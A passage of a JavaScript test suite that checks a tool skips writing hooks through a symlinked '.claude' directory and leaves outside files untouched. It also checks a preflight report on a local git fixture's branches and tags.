expect(lstatSync(join(casePath, '.claude')).isSymbolicLink()).toBe(true);
// The outside targets were neither created nor written.
expect(existsSync(victimFile)).toBe(false);
expect(existsSync(join(victimDir, 'settings.local.json'))).toBe(false);
// And the response says the hooks scaffold was skipped, and why.
expect(body.data.warnings.join(' ')).toMatch(/hooks were NOT installed/i);
expect(body.data.warnings.join(' ')).toMatch(/symlink/i);
});
it('preflights the local fixture for its branches and tags', async () => {
const res = await preflight(origin);
const body = JSON.parse(res.body);
expect(body.data.parse.transport).toBe('local');
expect(body.data.remote.reachable).toBe(true);
expect(body.data.remote.defaultBranch).toBe('main');
expect(body.data.remote.tags).toEqual(['v1']);
});
});